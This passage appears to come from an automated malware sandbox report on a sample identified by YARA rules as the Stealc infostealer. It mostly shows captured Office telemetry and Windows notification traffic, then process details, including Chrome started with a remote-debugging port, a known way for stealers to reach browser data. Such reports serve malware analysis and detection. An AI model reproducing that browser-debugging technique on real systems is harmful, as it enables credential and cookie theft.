2024-10-30 14:59:45 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Manageability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	47521	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:45 UTC	192	OUT	GET /rules/rule703801v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:45 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Content-Type: text/xml Content-Length: 1419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:05 GMT ETag: "0x8DC582BEC5F210E" x-ms-request-id: df2c9056-601e-000d-3056-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145945Z-17c5cb586f6f8m6jnehy0z65x400000007dg00000000f03z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:45 UTC	1419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 38 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 50 69 63 6b 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703801" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaPicker.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49845	13.107.246.45	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:46 UTC	192	OUT	GET /rules/rule703750v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:46 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:46 GMT Content-Type: text/xml Content-Length: 1400 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDE95A90D" x-ms-request-id: 292c9ac9-301e-0052-0ea2-2665d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145946Z-16849878b78wv88bk51myq5vxc00000008k0000000001tev x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:46 UTC	1400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 37 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 43 61 72 64 55 73 65 72 41 63 74 69 6f 6e 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4c 69 76 65 50 65 72 73 6f 6e 61 43 61 72 64 55 73 65 72 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703750" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaCardUserActions" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenLivePersonaCardUserA

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	35852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:46 UTC	192	OUT	GET /rules/rule703850v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:46 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:46 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE14374CD" x-ms-request-id: 39b2c3c9-501e-0047-2967-27ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145946Z-16849878b782d4lwcu6h6gmxnw00000007x0000000008ten x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:46 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 38 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 50 69 63 6b 65 72 2e 55 73 65 72 41 63 74 69 6f 6e 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4c 69 76 65 50 65 72 73 6f 6e 61 50 69 63 6b 65 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703850" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaPicker.UserActions" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenLivePersonaPicker

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49846	13.107.246.45	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:46 UTC	192	OUT	GET /rules/rule701301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:46 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDA52D06" x-ms-request-id: d8ec7672-101e-00a2-24a3-269f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145946Z-16849878b78qf2gleqhwczd21s000000089000000000vbxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Licensing.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49847	13.107.246.45	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:46 UTC	192	OUT	GET /rules/rule701300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:47 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6CE7711" x-ms-request-id: 320e9ea8-d01e-00ad-7a7c-2ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145946Z-r197bdfb6b4grkz4xgvkar0zcs00000007sg00000000md96 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:47 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4c 69 63 65 6e 73 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Licensing" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenLicensing" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:47 UTC	192	OUT	GET /rules/rule703751v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:47 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:47 GMT Content-Type: text/xml Content-Length: 1437 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE74E69D5" x-ms-request-id: c05c42f9-501e-000a-3fb4-270180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145947Z-16849878b78qfbkc5yywmsbg0c00000007rg00000000urhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:47 UTC	1437	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 37 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 69 76 65 50 65 72 73 6f 6e 61 43 61 72 64 55 73 65 72 41 63 74 69 6f 6e 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703751" V="0" DC="SM" EN="Office.Telemetry.Event.Office.LivePersonaCardUserActions.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49848	40.115.3.253	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:47 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 58 48 6f 6d 49 44 67 73 6b 2b 55 69 31 61 2f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 36 35 62 61 38 64 64 33 32 63 37 30 36 64 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 9XHomIDgsk+Ui1a/.1Context: 365ba8dd32c706d4
2024-10-30 14:59:47 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 14:59:47 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 39 58 48 6f 6d 49 44 67 73 6b 2b 55 69 31 61 2f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 36 35 62 61 38 64 64 33 32 63 37 30 36 64 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 61 73 58 72 58 58 72 6b 6a 49 69 70 73 2b 67 69 7a 75 2f 6b 78 4d 4b 62 4e 76 42 2f 41 4a 39 6b 62 32 69 31 38 72 55 48 51 68 68 4b 53 59 6e 35 6e 76 36 6e 53 45 54 69 4c 63 32 34 4f 54 6a 64 74 36 44 4f 6e 70 57 50 48 4f 6e 37 45 6e 73 78 64 6f 42 4c 6e 62 77 70 4d 59 47 42 44 35 79 42 51 48 6e 45 30 30 63 2f 71 36 49 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 9XHomIDgsk+Ui1a/.2Context: 365ba8dd32c706d4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARasXrXXrkjIips+gizu/kxMKbNvB/AJ9kb2i18rUHQhhKSYn5nv6nSETiLc24OTjdt6DOnpWPHOn7EnsxdoBLnbwpMYGBD5yBQHnE00c/q6I/
2024-10-30 14:59:47 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 39 58 48 6f 6d 49 44 67 73 6b 2b 55 69 31 61 2f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 36 35 62 61 38 64 64 33 32 63 37 30 36 64 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 9XHomIDgsk+Ui1a/.3Context: 365ba8dd32c706d4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 14:59:47 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 14:59:47 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 46 61 68 69 6f 76 74 4f 55 43 31 4b 75 56 35 75 46 77 34 38 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HFahiovtOUC1KuV5uFw48Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	63684	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:47 UTC	192	OUT	GET /rules/rule704051v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:47 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:47 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE102F2CE" x-ms-request-id: 17bf0780-301e-001f-2473-27aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145947Z-16849878b78p49s6zkwt11bbkn00000007xg000000004agd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:47 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 30 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4c 65 6e 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4c 65 6e 73 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704051" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Lens.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenLens"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49853	13.107.246.45	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:47 UTC	192	OUT	GET /rules/rule702051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE632C2F7" x-ms-request-id: 300703a0-501e-005b-1cb8-2ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145948Z-17c5cb586f62bgw58esgbu9hgw00000001000000000014bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:48 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 49 6e 73 69 67 68 74 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Insights.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenI

Target ID:	0
Start time:	10:58:57
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdf0000
File size:	2'158'080 bytes
MD5 hash:	6873652F7BEDC42D8C3E7485088E5714
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2629516895.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2171006516.0000000005830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:59:09
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
